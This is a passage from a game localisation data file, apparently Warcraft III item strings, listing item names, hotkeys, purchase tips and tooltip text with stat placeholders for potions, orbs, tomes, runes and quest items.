Ubertip="Adds <AIll,DataA1> bonus damage to the attack of a Hero when carried. The Hero's attacks also become ranged when attacking air, and have a chance to dispel magic and slow the movement speed of the enemy for <AIlp,Dur1> seconds. |n|cffffcc00Deals <AIpg,DataC1> bonus damage to summoned units."
Description=Attacks cause lightning damage.
[oven]
Name=Orb of Venom
Hotkey=V
Tip=Purchase Orb of |cffffcc00V|renom
Ubertip="Adds <AIpb,DataA1> bonus damage to the attack of a Hero when carried. The Hero's attacks also become ranged when attacking air and poison enemy units for <Apo2,Dur1> seconds."
Description=Attacks cause poison damage.
[odef]
Name=Orb of Darkness
Hotkey=B
Tip=Purchase Or|cffffcc00b|r of Darkness
Ubertip="Adds <AIdf,DataA1> bonus damage to the attack of a Hero when carried. The Hero's attack also becomes ranged when attacking air and will create a Dark Minion when it is the killing blow on an enemy unit. The Dark Minion lasts <ANbs,DataC1> seconds."
Description=Attacks can create Dark Minions.
[ocor]
Name=Orb of Corruption
Hotkey=B
Tip=Purchase Or|cffffcc00b|r of Corruption
Ubertip="Adds <AIcb,DataA1> bonus damage to the attack of a Hero when carried. The Hero's attacks also become ranged when attacking air and reduce the armor of enemy units for <AIcb,Dur1> seconds."
Description=Attacks reduce armor.
[pdiv]
Name=Potion of Divinity
Hotkey=D
Tip=Purchase Potion of |cffffcc00D|rivinity
Ubertip="Turns the Hero invulnerable for <AIdv,Dur1> seconds."
Description=Turns Hero invulnerable.
[phea]
Name=Potion of Healing
Hotkey=P
Tip=Purchase |cffffcc00P|rotion of Healing
Ubertip="Heals <AIh1,DataA1> hit points when used."
Description=Restores lost hit points.
[pghe]
Name=Potion of Greater Healing
Hotkey=R
Tip=Purchase Potion of G|cffffcc00r|reater Healing
Ubertip="Heals <AIh2,DataA1> hit points when used."
Description=Restores lost hit points.
[pinv]
Name=Potion of Invisibility
Hotkey=I
Tip=Purchase Potion of |cffffcc00I|rnvisibility
Ubertip="|cff87ceebNon-Combat Consumable|r|nRenders the Hero invisible for <AIv1,Dur1> seconds when used. An invisible Hero is untargetable by the enemy unless detected. If the Hero attacks, uses an ability, or casts a spell, the invisibility effect is lost."
Description=Renders Hero temporarily invisible.
[pgin]
Name=Potion of Greater Invisibility
Hotkey=I
Tip=Purchase Potion of Greater |cffffcc00I|rnvisibility
Ubertip="|cff87ceebNon-Combat Consumable|r|nRenders the Hero invisible for <AIv2,Dur1> seconds when used. An invisible Hero is untargetable by the enemy unless detected. If the Hero attacks, uses an ability, or casts a spell, the invisibility effect is lost."
Description=Renders Hero temporarily invisible.
[pman]
Name=Potion of Mana
Hotkey=M
Tip=Purchase Potion of |cffffcc00M|rana
Ubertip="Restores <AIm1,DataA1> mana when used."
Description=Restores lost mana.
[pgma]
Name=Potion of Greater Mana
Hotkey=M
Tip=Purchase Potion of Greater |cffffcc00M|rana
Ubertip="Restores <AIm2,DataA1> mana when used."
Description=Restores lost mana.
[pnvu]
Name=Potion of Invulnerability
Hotkey=I
Tip=Purchase Potion of |cffffcc00I|rnvulnerability
Ubertip="Makes the Hero invulnerable to damage for <AIvu,Dur1> seconds when used. An invulnerable Hero may not be the target of spells or effects."
Description=Renders Hero temporarily invulnerable.
[pnvl]
Name=Potion of Lesser Invulnerability
Hotkey=N
Tip=Purchase Potion of Lesser I|cffffcc00n|rvulnerability
Ubertip="Makes the Hero invulnerable to damage for <AIvl,Dur1> seconds when used. An invulnerable Hero may not be the target of spells or effects."
Description=Renders Hero temporarily invulnerable.
[pres]
Name=Potion of Restoration
Hotkey=R
Tip=Purchase Potion of |cffffcc00R|restoration
Ubertip="Restores <AIre,DataA1> hit points and <AIre,DataB1> mana of the Hero when used."
Description=Restores lost hit points and mana.
[pspd]
Name=Potion of Speed
Hotkey=S
Tip=Purchase Potion of |cffffcc00S|rpeed
Ubertip="Increases the movement speed of the Hero by <AIsp,DataA1,%>% for <AIsp,Dur1> seconds."
Description=Provides Hero with a temporary speed increase.
[rlif]
Name=Ring of Regeneration
Hotkey=R
Tip=Purchase Ring of |cffffcc00R|regeneration
Ubertip="Increases the Hero's hit point regeneration by <Arel,DataA1> hit points per second."
Description=Provides regeneration.
[rwiz]
Name=Sobi Mask
Hotkey=B
Tip=Purchase So|cffffcc00b|ri Mask
Ubertip="Increases the Hero's rate of mana regeneration by <AIrm,DataA1,%>% when worn."
Description=Increases mana regeneration rate.
[sfog]
Name=Horn of the Clouds
Hotkey=C
Tip=Purchase Horn of the |cffffcc00C|rlouds
Ubertip="Allows the Hero to channel the Cloud ability, which stops an area of enemy towers from attacking for <AIfg,Dur1> seconds."
Description=Stops enemy towers from attacking.
[rhe1]
Name=Rune of Lesser Healing
Hotkey=H
Tip=Purchase Rune of Lesser |cffffcc00H|realing
Ubertip="Heals <APh1,DataA1> hit points to all nearby friendly non-mechanical units."
Description=Restores hit points to nearby units.
[rhe2]
Name=Rune of Healing
Hotkey=H
Tip=Purchase Rune of |cffffcc00H|realing
Ubertip="Heals <APh2,DataA1> hit points to all nearby friendly non-mechanical units."
Description=Restores hit points to nearby units.
[rhe3]
Name=Rune of Greater Healing
Hotkey=H
Tip=Purchase Rune of Greater |cffffcc00H|realing
Ubertip="Heals <APh3,DataA1> hit points to all nearby friendly non-mechanical units."
Description=Restores hit points to nearby units.
[shea]
Name=Scroll of Healing
Hotkey=H
Tip=Purchase Scroll of |cffffcc00H|realing
Ubertip="Heals <AIha,DataA1> hit points to all friendly non-mechanical units around the Hero when used."
Description=Restores hit points to nearby units.
[sman]
Name=Scroll of Mana
Hotkey=M
Tip=Purchase Scroll of |cffffcc00M|rana
Ubertip="Restores <AImr,DataA1> mana to all friendly units in an area around your Hero."
Description=Restores mana to nearby units.
[rman]
Name=Rune of Mana
Hotkey=M
Tip=Purchase Rune of |cffffcc00M|rana
Ubertip="Restores <APmr,DataA1> mana to all nearby friendly units."
Description=Restores mana to nearby units.
[rma2]
Name=Rune of Greater Mana
Hotkey=M
Tip=Purchase Rune of Greater |cffffcc00M|rana
Ubertip="Restores <APmg,DataA1> mana to all nearby friendly units."
Description=Restores mana to nearby units.
[spro]
Name=Scroll of Protection
Hotkey=R
Tip=Purchase Scroll of P|cffffcc00r|rotection
Ubertip="Increases the armor of all friendly units in an area around your Hero by <AIda,DataA1> for <AIda,Dur1> seconds."
Description=Temporarily increases the armor of nearby units.
[sres]
Name=Scroll of Restoration
Hotkey=R
Tip=Purchase Scroll of |cffffcc00R|restoration
Ubertip="Restores <AIra,DataA1> hit points and <AIra,DataB1> mana of friendly non-mechanical units in an area around your Hero."
Description=Restores hit points and mana to nearby units.
[rres]
Name=Rune of Restoration
Hotkey=R
Tip=Purchase Rune of |cffffcc00R|restoration
Ubertip="Restores <APra,DataA1> hit points and <APra,DataB1> mana of friendly non-mechanical units in an area around your Hero."
Description=Restores hit points and mana to nearby units.
[ssil]
Name=Staff of Silence
Hotkey=E
Tip=Purchase Staff of Sil|cffffcc00e|rnce
Ubertip="Stops all enemies in a target area from casting spells."
Description=Stops enemy spellcasting.
[stwp]
Name=Scroll of Town Portal
Hotkey=T
Tip=Purchase Scroll of |cffffcc00T|rown Portal
Ubertip="Teleports the Hero and any of its nearby troops to a target friendly town hall."
Description=Transports troops to friendly town hall.
[tels]
Name=Goblin Night Scope
Hotkey=T
Tip=Purchase Goblin Nigh|cffffcc00t|r Scope
Ubertip="Provides an increase to the Hero's line of sight radius at night when carried."
Description=Increases sight range at night.
[tdex]
Name=Tome of Agility
Hotkey=A
Tip=Purchase Tome of |cffffcc00A|rgility
Ubertip="Permanently increases the Agility of the Hero by <AIam,DataA1> when used."
Description=Permanently increases Agility.
[texp]
Name=Tome of Experience
Hotkey=E
Tip=Purchase Tome of |cffffcc00E|rxperience
Ubertip="Gives <AIem,DataA1> experience to the Hero when used."
Description=Gives bonus experience points.
[tint]
Name=Tome of Intelligence
Hotkey=T
Tip=Purchase |cffffcc00T|rome of Intelligence
Ubertip="Permanently increases the Intelligence of the Hero by <AIim,DataB1> when used."
Description=Permanently increases Intelligence.
[tkno]
Name=Tome of Power
Hotkey=P
Tip=Purchase Tome of |cffffcc00P|rower
Ubertip="Increases the level of the Hero by <AIlm,DataA1> when used."
Description=Gives the Hero an experience level.
[tstr]
Name=Tome of Strength
Hotkey=S
Tip=Purchase Tome of |cffffcc00S|rtrength
Ubertip="Permanently increases the Strength of the Hero by <AIsm,DataC1> when used."
Description=Permanently increases Strength.
[ward]
Name=Warsong Battle Drums
Hotkey=W
Tip=Purchase |cffffcc00W|rarsong Battle Drums
Ubertip="Increases the attack damage of nearby friendly units by <AIcd,DataA1,%>% when worn. |nDoes not stack with Command Aura."
Description=Increases combat effectiveness of nearby units.
[will]
Name=Wand of Illusion
Hotkey=I
Tip=Purchase Wand of |cffffcc00I|rllusion
Ubertip="Create an illusory double of the targeted unit when used. The illusory double deals no damage to enemy units, takes <AIil,DataB1> times the damage from enemy attacks, and will disappear after <AIil,Dur1> seconds or when its hit points reach zero. |nContains <will,uses> charges."
Description=Creates a phantom double.
[wneg]
Name=Wand of Negation
Hotkey=N
Tip=Purchase Wand of |cffffcc00N|regation
Ubertip="Dispels all magical effects in a target area. |nContains <wneg,uses> charges. |n|cffffcc00Deals <AIdi,DataB1> damage to summoned units.|r"
Description=Dispels magic in an area.
[rdis]
Name=Rune of Dispel Magic
Hotkey=D
Tip=Purchase Rune of |cffffcc00D|rispel Magic
Ubertip="Dispels all nearby magic effects. |n|cffffcc00Deals <APdi,DataB1> damage to summoned units.|r"
Description=Dispels magic in the surrounding area.
[rwat]
Name=Rune of the Watcher
Hotkey=W
Tip=Purchase Rune of the |cffffcc00W|ratcher
Ubertip="Creates an invulnerable Sentry Ward when activated."
Description=Creates an invulnerable Sentry Ward here.
[fgrd]
Name=Red Drake Egg
Tip=Purchase Drake |cffffcc00E|rgg
Hotkey=E
Ubertip="Summons a Red Drake to fight for you. |nLasts <AIfd,Dur1> seconds."
Description=Summons a Red Drake.
[fgrg]
Name=Stone Token
Tip=Purchase Stone Token
Ubertip="Summons a Rock Golem to fight for you. |nLasts <AIfr,Dur1> seconds."
Description=Summons a Rock Golem.
[fgdg]
Name=Demonic Figurine
Tip=Purchase Demonic Figurine
Ubertip="Summons a Doom Guard to fight for you. |nLasts <AIfu,Dur1> seconds."
Description=Summons a Doom Guard.
[fgfh]
Name=Spiked Collar
Tip=Purchase Spiked Collar
Ubertip="Summons a Fel Stalker to fight for you. |nLasts <AIfh,Dur1> seconds."
Description=Summons a Fel Stalker.
[fgsk]
Name=Book of the Dead
Tip=Purchase Book of the Dead
Ubertip="Summons <AIfs,DataA1> Skeleton Warriors and <AIfs,DataB1> Skeleton Archers to fight for you. |nLasts <AIfs,Dur1> seconds."
Description=Summons skeletons.
[ktrm]
Name=Urn of King Terenas
Tip=Purchase Urn of King Terenas
Ubertip="Formerly the container of King Terenas' ashes, this magically enchanted Urn was chosen by Tichondrius to preserve Kel'Thuzad's remains.
Description=This urn contains the remains of King Terenas.
[sehr]
Name=The Heart of Searinox
Tip=Purchase the Heart of Searinox
Ubertip="The still beating heart of Searinox can be used to imbue an Orb with the fiery powers of a Dragon."
Description=The heart of the Dragon Searinox.
[azhr]
Name=Heart of Aszune
Tip=Purchase Heart of Aszune
Ubertip="Legends say that the imprisoned spirit of Aszune seeks out her heart to this very day."
Description=The magical amulet Heart of Aszune.
[bzbe]
Name=Empty Vial
Tip=Purchase Empty Vial
Ubertip="A special vial adept at containing the magical healing waters of a Fountain of Life."
Description=This is an empty vial.
[bzbf]
Name=Full Vial
Tip=Purchase Full Vial
Ubertip="A special vial adept at containing the magical healing waters of a Fountain of Life."
Description=This vial is full of healing waters.
[cnhn]
Name=Horn of Cenarius
Tip=Purchase Horn of Cenarius
Ubertip="This ancient relic of the Night Elves is said to hold the power to call the spirits of all Night Elves. It imbues its owner with <AIl1,DataA1> hit points, and a <Arel,DataA1> hit point per second regeneration bonus."
Description=This is the Horn of Cenarius.
[glsk]
Name=Skull of Gul'dan
Tip=Purchase Skull of Gul'dan
Ubertip="Once a powerful user of Demonic magics, the Demons answered his calls, and found a greater use for his head."
Description=This is the Skull of Gul'dan.
[engs]
Name=Enchanted Gemstone
Tip=Purchase Enchanted Gemstone
Ubertip="This artifact of the Kelani Magi is said to hold the power to make constructs out of pure energy. When the Kelani fell to ruin, the Razormane Quillboars were quick to scavenge and covet these beautiful and powerful objects."
Description=This is an enchanted gemstone.
[k3m1]
Name=Mooncrystal
Tip=Purchase Mooncrystal
Ubertip="Cut from the emerald Eye of Jennala, it opens the mind of the Gate Keeper."
Description=This is one part of the Key of Three Moons.
[k3m2]
Name=Partial Key of the Three Moons
Tip=Purchase Partial Key of Three Moons
Ubertip="Cut from the amethyst Stone of Hannalee, it opens the heart of the Gate Keeper."
Description=This is two parts of the Key of Three Moons.
[k3m3]
Name=Key of Three Moons
Tip=Purchase Key of Three Moons
Ubertip="Cut from the sapphire Body of Enulaia, it opens the soul of the Gate Keeper."
Description=This is the complete Key of Three Moons.
[modt]
Name=Mask of Death
Tip=Purchase Mask of Death
Ubertip="While wearing this mask, a Hero will recover hit points equal to <AIva,DataA1,%>% of the attack damage dealt to an enemy unit."
Description="This mask causes the Hero's attacks to drain life."
[sand]
Name=Scroll of Animate Dead
Tip=Purchase Scroll of Animate Dead
Ubertip="Raises <AIan,DataA1> nearby dead units to fight for <AIan,Dur1> seconds."
Description=Animates the dead to fight for you.
[srrc]
Name=Scroll of Resurrection
Tip=Purchase Scroll of Resurrection
Ubertip="Brings <AIrs,DataA1> of your nearby dead units back to life."
Description=Resurrects your dead to fight again.
[rre1]
Name=Rune of Lesser Resurrection
Tip=Purchase Rune of Lesser Resurrection
Ubertip="Brings <APrl,DataA1> of your nearby dead units back to life."
Description=Resurrects your dead to fight again.
[rre2]
Name=Rune of Greater Resurrection
Tip=Purchase Rune of Greater Resurrection
Ubertip="Brings <APrr,DataA1> of your nearby dead units back to life."
Description=Resurrects your dead to fight again.
[rspl]
Name=Rune of Spirit Link
Tip=Purchase Rune of Spirit Link
Ubertip="Links nearby units' spirits together, causing <Aspp,DataA1,%>% of the damage taken by one to be distributed across all spirit linked units."
Description=Links units together to distribute damage.
[sror]
Name=Scroll of the Beast
Tip=Purchase Scroll of the Beast
Ubertip="Gives friendly nearby units a <AIrr,DataA1,%>% bonus to damage for <AIrr,Dur1> seconds."
Description=Boosts friendly unit combat damage.
[infs]
Name=Inferno Stone
Tip=Purchase Inferno Stone
Ubertip="Calls an Infernal down from the sky, dealing <AIin,DataA1> damage and stunning enemy land units for <AIin,Dur1> seconds in an area. The Infernal lasts <AIin,DataB1> seconds."
Description=Brings down an Infernal Demon.
[shar]
Name=Ice Shard
Tip=Purchase Ice Shard
Ubertip="Summons an Ice Revenant. The Ice Revenant lasts <AIir,Dur1> seconds."
Description=Summons an Ice Revenant.
[wild]
Name=Amulet of the Wild
Tip=Purchase Amulet of the Wild
Ubertip="Summons a Furbolg Warrior. The Furbolg lasts <AIuw,Dur1> seconds."
Description=Summons a Furbolg.
[wswd]
Name=Sentry Wards
Tip=Purchase Sentry Wards
Ubertip="Drops a Sentry Ward to spy upon an area for <AIsw,Dur1> seconds. |nContains <wswd,uses> charges."
Description=Conjures a Sentry Ward.
[whwd]
Name=Healing Wards
Tip=Purchase Healing Wards
Ubertip="Drops a ward that heals nearby friendly units for <Ahwd,Dur1> seconds. |nContains <whwd,uses> charges."
Description=Conjures a Healing Ward.
[wlsd]
Name=Wand of Lightning Shield
Tip=Purchase Wand of Lightning Shield
Ubertip="Allows the Hero to cast Lightning Shield on a target unit. Lightning Shield surrounds a unit with electricity, dealing <AIls,DataA1> damage per second to nearby units. |nContains <wlsd,uses> charges. |nLasts <AIls,Dur1> seconds."
Description=Casts Lightning Shield.
[wcyc]
Name=Wand of the Wind
Tip=Purchase Wand of the Wind
Ubertip="Allows the Hero to cast Cyclone. Cyclone tosses a target enemy unit into the air, rendering it unable to attack, move or cast spells. |nContains <wcyc,uses> charges. |nLasts <AIcy,Dur1> seconds."
Description=Casts Cyclone.
[rnec]
Name=Rod of Necromancy
Hotkey=R
Tip=Purchase |cffffcc00R|rod of Necromancy
Ubertip="Creates two Skeleton Warriors from a corpse. |nContains <rnec,uses> charges."
Description=Creates two Skeleton Warriors from a corpse.
[pams]
Name=Anti-magic Potion
Hotkey=A
Tip=Purchase |cffffcc00A|rnti-magic Potion
Ubertip="Gives the Hero immunity to magical spells for <AIxs,Dur1> seconds."
Description=Renders Hero immune to magic.
[clfm]
Name=Cloak of Flames
Tip=Purchase Cloak of Flames
Ubertip="Engulfs the Hero in fire which deals <AIcf,DataA1> damage per second to nearby enemy land units. |nDoes not stack with Immolation."
Description=Surrounds the Hero with damaging flames.
[evtl]
Name=Talisman of Evasion
Tip=Purchase Talisman of Evasion
Ubertip="Causes attacks against the wearer to miss <AIev,DataA1,%>% of the time. |nDoes not stack with Evasion or Drunken Brawler."
Description=Makes the Hero harder to hit.
[nspi]
Name=Necklace of Spell Immunity
Tip=Purchase Necklace of Spell Immunity
Ubertip="Renders the Hero invulnerable to magic."
Description=Grants immunity to magic.
[lhst]
Name=The Lion Horn of Stormwind
Tip=Purchase the Lion Horn of Stormwind
Ubertip="Grants the Hero and friendly nearby units <AIad,DataA1> bonus armor. |nDoes not stack with Devotion Aura."
Description=Generates a protective aura around the Hero.
[kpin]
Name=Khadgar's Pipe of Insight
Tip=Purchase Khadgar's Pipe of Insight
Ubertip="Grants the Hero and friendly nearby units a bonus to mana regeneration. |nDoes not stack with Brilliance Aura."
Description=Nearby units regain mana more swiftly.
[sbch]
Name=Scourge Bone Chimes
Tip=Purchase Scourge Bone Chimes
Ubertip="Grants a melee Hero and friendly nearby melee units life stealing attacks which take <AIav,DataA1,%>% of the damage they deal and convert it into life. |nDoes not stack with Vampiric Aura."
Description=Nearby units gain some life from damage they deal to enemy units.
[afac]
Name=Alleria's Flute of Accuracy
Tip=Purchase Alleria's Flute of Accuracy
Ubertip="Increases nearby ranged units' damage by <AIar,DataA1,%>%. |nDoes not stack with Trueshot Aura."
Description="Nearby units' missile attacks do more damage."
[ajen]
Name=Ancient Janggo of Endurance
Tip=Purchase Ancient Janggo of Endurance
Ubertip="Grants the Hero and friendly nearby units increased attack rate and movement speed. |nDoes not stack with Endurance Aura."
Description=Nearby units move and attack more swiftly.
[lgdh]
Name=Legion Doom-Horn
Tip=Purchase Legion Doom-Horn
Ubertip="Grants the Hero and friendly nearby units increased life regeneration and movement speed. |nDoes not stack with Unholy Aura."
Description=Nearby units heal and move more swiftly.
[hcun]
Name=Hood of Cunning
Tip=Purchase Hood of Cunning
Ubertip="Increases the Agility and Intelligence of the Hero by 4 when worn."
Description=Provides bonuses to Agility and Intelligence.
[mcou]
Name=Medallion of Courage
Tip=Purchase Medallion of Courage
Ubertip="Increases the Strength and Intelligence of the Hero by 4 when worn."
Description=Provides bonuses to Strength and Intelligence.
[hval]
Name=Helm of Valor
Tip=Purchase Helm of Valor
Ubertip="Increases the Strength and Agility of the Hero by 4 when worn."
Description=Provides bonuses to Strength and Agility.
[cnob]
Name=Circlet of Nobility
Hotkey=C
Tip=Purchase |cffffcc00C|rirclet of Nobility
Ubertip="Increases the Strength, Agility and Intelligence of the Hero by 2 when worn."
Description="Provides a +2 bonus to Strength, Agility and Intelligence."
[prvt]
Name=Periapt of Vitality
Hotkey=V
Tip=Purchase Periapt of |cffffcc00V|ritality
Ubertip="Increases the hit points of the Hero by <AIlf,DataA1> when worn."
Description=Increases the hit points of the Hero.
[tgxp]
Name=Tome of Greater Experience
Tip=Purchase Tome of Greater Experience
Ubertip="Gives the Hero <AIe2,DataA1> bonus experience points when used."
Description=Gives bonus experience points.
[mnst]
Name=Mana Stone
Tip=Purchase Mana Stone
Ubertip="Increases the mana regeneration rate of the Hero by <AIrn,DataA1,%>% when worn. Can be consumed for <AIm2,DataA1> mana."
Description="Provides faster mana regeneration, and can be consumed for mana."
[hlst]
Name=Health Stone
Tip=Purchase Health Stone
Ubertip="Increases the life regeneration rate of the Hero by <Arll,DataA1> hit points per second when worn. Can be consumed for <AIh2,DataA1> health."
Description="Provides faster regeneration, and can be consumed for hit points."
[tpow]
Name=Tome of Knowledge
Tip=Purchase Tome of Knowledge
Ubertip="Permanently increases the Strength, Agility and Intelligence of the Hero by 1 when used."
Description="Permanently increases Strength, Agility and Intelligence."
[tst2]
Name=Tome of Strength +2
Tip=Purchase Tome of Strength +2
Ubertip="Permanently increases the Strength of the Hero by 2 when used."
Description=Permanently increases Strength.
[tin2]
Name=Tome of Intelligence +2
Tip=Purchase Tome of Intelligence +2
Ubertip="Permanently increases the Intelligence of the Hero by 2 when used."
Description=Permanently increases Intelligence.
[tdx2]
Name=Tome of Agility +2
Tip=Purchase Tome of Agility +2
Ubertip="Permanently increases the Agility of the Hero by 2 when used."
Description=Permanently increases Agility.
[rde0]
Name=Ring of Protection +1
Hotkey=1
Tip=Purchase Ring of Protection +|cffffcc001|r
Ubertip="Increases the armor of the Hero by 1 when worn."
Description=Boosts armor by 1.
[rde4]
Name=Ring of Protection +5
Hotkey=5
Tip=Purchase Ring of Protection +|cffffcc005|r
Ubertip="Increases the armor of the Hero by 5 when worn."
Description=Boosts armor by 5.
[rat6]
Name=Claws of Attack +6
Tip=Purchase Claws of Attack +6
Ubertip="Increases the attack damage of the Hero by 6 when worn."
Description=Boosts attack damage by 6.
[rat9]
Name=Claws of Attack +9
Hotkey=C
Tip=Purchase |cffffcc00C|rlaws of Attack +9
Ubertip="Increases the attack damage of the Hero by 9 when worn."
Description=Boosts attack damage by 9.
[ratc]
Name=Claws of Attack +12
Tip=Purchase Claws of Attack +12
Ubertip="Increases the attack damage of the Hero by 12 when worn."
Description=Boosts attack damage by 12.
[ratf]
Name=Claws of Attack +15
Tip=Purchase Claws of Attack +15
Ubertip="Increases the attack damage of the Hero by 15 when worn."
Description=Boosts attack damage by 15.
[manh]
Name=Manual of Health
Tip=Purchase Manual of Health
Ubertip="Permanently increases the hit points of the Hero by <AImh,DataA1> when used."
Description=Permanent +50 hit points.
[pmna]
Name=Pendant of Mana
Tip=Purchase Pendant of Mana
Ubertip="Increases the mana capacity of the Hero by <AIbm,DataA1> when worn."
Description=Provides additional mana.
[penr]
Name=Pendant of Energy
Tip=Purchase Pendant of Energy
Ubertip="Increases the mana capacity of the Hero by <AImb,DataA1> when worn."
Description=Provides additional mana.
[gcel]
Name=Gloves of Haste
Tip=Purchase Gloves of Haste
Ubertip="Increases the attack speed of the Hero by <AIsx,DataA1,%>% when worn."
Description=Increases attack speed.
[ledg]
Name=Gerard's Lost Ledger
Tip=Purchase Gerard's Lost Ledger
Ubertip="This Ledger looks to be full of boring facts and figures."
Description=A ledger.
[totw]
Name=Talisman of the Wild
Tip=Purchase Talisman of the Wild
Ubertip="This mystic stone summons a Furbolg to fight for you. |nContains <totw,uses> charges. |nLasts <AIff,Dur1> seconds."
Description=Summons Furbolgs.
[kybl]
Name=Blood Key
Tip=Purchase Blood Key
Ubertip="This key is covered in blood."
Description=A bloody key.
[kygh]
Name=Ghost Key
Tip=Purchase Ghost Key
Ubertip="This key is rather insubstantial."
Description=A ghostly key.
[kysn]
Name=Sun Key
Tip=Purchase Sun Key
Ubertip="This key glows brightly."
Description=A glowing key.
[kymn]
Name=Moon Key
Tip=Purchase Moon Key
Ubertip="This key glows faintly."
Description=A faintly glowing key.
[phlt]
Name=Phat Lewt
Tip=Purchase Phat Lewt
Ubertip="There is no phatter lewt than this."
Description="The phattest lewt, definitely."
[gopr]
Name=Glyph of Purification
Tip=Purchase Glyph of Purification
Ubertip="Created by ancient druids, this glyph has the power to heal the land."
Description=A glyph.
[ches]
Name=Cheese
Tip=Purchase the Cheese
Ubertip="Cheese cheese cheese cheese!"
Description=It's the Cheese!
[mlst]
Name=Maul of Strength
Tip=Purchase Maul of Strength
Ubertip="Increases the Strength of the Hero by 1 when carried."
Description=Boosts Strength by 1.
[rnsp]
Name=Ring of Superiority
Tip=Purchase Ring of Superiority
Ubertip="Increases the Strength, Agility and Intelligence of the Hero by 1 when worn."
Description="Provides a +1 bonus to Strength, Agility and Intelligence."
[brag]
Name=Bracer of Agility
Tip=Purchase Bracer of Agility
Ubertip="Increases the Agility of the Hero by 1 when worn."
Description=Boosts Agility by 1.
[sksh]
Name=Skull Shield
Tip=Purchase Skull Shield
Ubertip="Increases the Strength of the Hero by 1 when carried."
Description=Boosts Strength by 1.
[vddl]
Name=Voodoo Doll
Tip=Purchase Voodoo Doll
Ubertip="Increases the Intelligence of the Hero by 1 when carried."
Description=Boosts Intelligence by 1.
[sprn]
Name=Spider Ring
Tip=Purchase Spider Ring
Ubertip="Increases the Agility of the Hero by 1 when worn."
Description=Boosts Agility by 1.
[tmmt]
Name=Totem of Might
Tip=Purchase Totem of Might
Ubertip="Increases the Strength of the Hero by 1 when carried."
Description=Boosts Strength by 1.
[anfg]
Name=Ancient Figurine
Tip=Purchase Ancient Figurine
Ubertip="Increases the Intelligence of the Hero by 1 when carried."
Description=Boosts Intelligence by 1.
[lnrn]
Name=Lion's Ring
Tip=Purchase Lion's Ring
Ubertip="Increases the Agility of the Hero by 1 when worn."
Description=Boosts Agility by 1.
[iwbr]
Name=Ironwood Branch
Tip=Purchase Ironwood Branch
Ubertip="Increases the Strength of the Hero by 1 when carried."
Description=Boosts Strength by 1.
[jdrn]
Name=Jade Ring
Tip=Purchase Jade Ring
Ubertip="Increases the Agility of the Hero by 1 when worn."
Description=Boosts Agility by 1.
[drph]
Name=Druid Pouch
Tip=Purchase Druid Pouch
Ubertip="Increases the Intelligence of the Hero by 1 when carried."
Description=Boosts Intelligence by 1.
// Healing Salve
[hslv]
Name=Healing Salve
Hotkey=H
Tip=Purchase |cffffcc00H|realing Salve
Ubertip="|cff87ceebNon-Combat Consumable|r|nRegenerates a target unit's hit points by <AIrl,DataA1> over <AIrl,Dur1> seconds when used. |nContains <hslv,uses> charges."
Description=Regenerates lost hit points over time.
// Clarity Potion
[pclr]
Name=Clarity Potion
Hotkey=Y
Tip=Purchase Clarit|cffffcc00y|r Potion
Ubertip="|cff87ceebNon-Combat Consumable|r|nRegenerates the Hero's mana by <AIpr,DataB1> over <AIpr,Dur1> seconds when used."
Description=Regenerates mana over time.
// Lesser Clarity Potion
[plcl]
Name=Lesser Clarity Potion
Hotkey=C
Tip=Purchase Lesser |cffffcc00C|rlarity Potion
Ubertip="|cff87ceebNon-Combat Consumable|r|nRegenerates the Hero's mana by <AIpl,DataB1> over <AIpl,Dur1> seconds when used."
Description=Regenerates mana over time.
// Minor Replenishment Potion
[rej1]
Name=Minor Replenishment Potion
Hotkey=R
Tip=Purchase Minor |cffffcc00R|replenishment Potion
Ubertip="|cff87ceebNon-Combat Consumable|r|nRegenerates <AIp1,DataA1> hit points and <AIp1,DataB1> mana of the Hero over <AIp1,Dur1> seconds."
Description=Regenerates health and mana.
// Lesser Replenishment Potion
[rej2]
Name=Lesser Replenishment Potion
Hotkey=R
Tip=Purchase Lesser |cffffcc00R|replenishment Potion
Ubertip="|cff87ceebNon-Combat Consumable|r|nRegenerates <AIp2,DataA1> hit points and <AIp2,DataB1> mana of the Hero over <AIp2,Dur1> seconds."
Description=Regenerates health and mana.
// Replenishment Potion
[rej3]
Name=Replenishment Potion
Hotkey=R
Tip=Purchase |cffffcc00R|replenishment Potion
Ubertip="|cff87ceebNon-Combat Consumable|r|nRegenerates <AIp3,DataA1> hit points and <AIp3,DataB1> mana of the Hero over <AIp3,Dur1> seconds."
Description=Regenerates health and mana.
// Greater Replenishment Potion
[rej4]
Name=Greater Replenishment Potion
Hotkey=R
Tip=Purchase Greater |cffffcc00R|replenishment Potion
Ubertip="|cff87ceebNon-Combat Consumable|r|nRegenerates <AIp4,DataA1> hit points and <AIp4,DataB1> mana of the Hero over <AIp4,Dur1> seconds."
Description=Regenerates health and mana.
// Lesser Replenishment Scroll
[rej5]
Name=Lesser Scroll of Replenishment
Hotkey=R
Tip=Purchase Lesser Scroll of |cffffcc00R|replenishment
Ubertip="|cff87ceebNon-Combat Consumable|r|nRegenerates <AIp5,DataA1> hit points and <AIp5,DataB1> mana of the Hero and nearby friendly units over <AIp5,Dur1> seconds."
Description=Regenerates the health and mana of nearby units.
// Greater Replenishment Scroll
[rej6]
Name=Greater Scroll of Replenishment
Hotkey=R
Tip=Purchase Greater Scroll of |cffffcc00R|replenishment
Ubertip="|cff87ceebNon-Combat Consumable|r|nRegenerates <AIp6,DataA1> hit points and <AIp6,DataB1> mana of the Hero and nearby friendly units over <AIp6,Dur1> seconds."
Description=Regenerates the health and mana of nearby units.
// Scroll of Regeneration
[sreg]
Name=Scroll of Regeneration
Hotkey=R
Tip=Purchase Scroll of |cffffcc00R|regeneration
Ubertip="|cff87ceebNon-Combat Consumable|r|nRegenerates the hit points of all friendly non-mechanical units in an area around your Hero by <AIsl,DataA1> over <AIsl,Dur1> seconds when used."
Description=Regenerates the health of nearby units.
// Gold
[gold]
Name=Gold Coins
Tip=Purchase Gold Coins
Ubertip="Gives <AIgo,DataA1> gold to the player when used."
Description=Gives gold to player.
// Bundle of Lumber
[lmbr]
Name=Bundle of Lumber
Tip=Purchase Bundle of Lumber
Ubertip="Gives <AIlu,DataA1> lumber to the player when used."
Description=Gives lumber to player.
[fgun]
Name=Flare Gun
Hotkey=F
Tip=Purchase |cffffcc00F|rlare Gun
Ubertip="Reveals a target area on the map. |nContains <fgun,uses> charges."
Description="Reveals an area on the map."
// Potion of Omniscience
[pomn]
Name=Potion of Omniscience
Hotkey=O
Tip=Purchase Potion of |cffffcc00O|rmniscience
Ubertip="Reveals the entire map for <AIrv,Dur1> seconds when used."
Description="Reveals the entire map."
// Glyph of Omniscience
[gomn]
Name=Glyph of Omniscience
Hotkey=O
